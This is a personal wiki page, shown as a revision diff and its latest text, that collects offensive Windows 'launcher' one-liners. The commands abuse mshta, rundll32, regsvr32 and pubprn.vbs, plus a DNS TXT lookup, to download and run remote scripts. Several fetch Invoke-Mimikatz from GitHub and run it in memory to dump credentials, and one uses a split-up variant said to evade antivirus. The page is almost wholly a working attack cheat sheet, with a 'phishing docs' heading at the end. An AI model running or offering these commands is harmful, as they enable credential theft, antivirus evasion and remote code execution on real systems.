Launchers: Difference between revisions

From WikiWiki
Jump to navigation Jump to search
No edit summary   (change visibility)
 
Line 1: Line 1:
=Some fun oneliners to start a script=
=Some fun oneliners to start a script=
<syntaxhighlight lang="powershell">
<syntaxhighlight language="powershell">
mshta.exe vbscript:GetObject("script:https://server/sct")(window.close)
mshta.exe vbscript:GetObject("script:https://server/sct")(window.close)
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject('WScript.Shell');w.Exec('calc')");
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject('WScript.Shell');w.Exec('calc')");
Line 7: Line 7:
https://gist.github.com/subTee/62fc28bb5dc58dbe9efdd56d65921bd2
https://gist.github.com/subTee/62fc28bb5dc58dbe9efdd56d65921bd2


<syntaxhighlight lang="powershell">
<syntaxhighlight language="powershell">
#runs mimikatz straight from github
#runs mimikatz straight from github
invoke-expression (Invoke-WebRequest -Uri https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1).content;invoke-mimikatz
invoke-expression (Invoke-WebRequest -Uri https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1).content;invoke-mimikatz

Latest revision as of 22:54, 21 August 2020

Some fun oneliners to start a script

mshta.exe vbscript:GetObject("script:https://server/sct")(window.close)
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject('WScript.Shell');w.Exec('calc')");

https://twitter.com/ch33kyf3ll0w/status/816319597645328384 https://gist.github.com/subTee/62fc28bb5dc58dbe9efdd56d65921bd2

#runs mimikatz straight from github
invoke-expression (Invoke-WebRequest -Uri https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1).content;invoke-mimikatz

#runs mimikatz with split-up custom version to evade antivirus
invoke-expression (Invoke-WebRequest -Uri https://mendelonline.be/security/poc/test.code.txt).content;invoke-bananas

#starts calc
regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test.sct scrobj.dll

#starts powershell that runs mimikatz
regsvr32 /u /n /s /i:https://mendelonline.be/security/poc/test2.sct scrobj.dll

#start calc - https://twitter.com/vysecurity/status/857734235695796225
powershell -ep bypass -nop -c "powershell . ((nslookup.exe -q=txt calc.mendelonline.be ))[5]"


#run calc via vbs
C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs blah "script:https://mendelonline.be/security/poc/runcalc.sct


phishing docs


more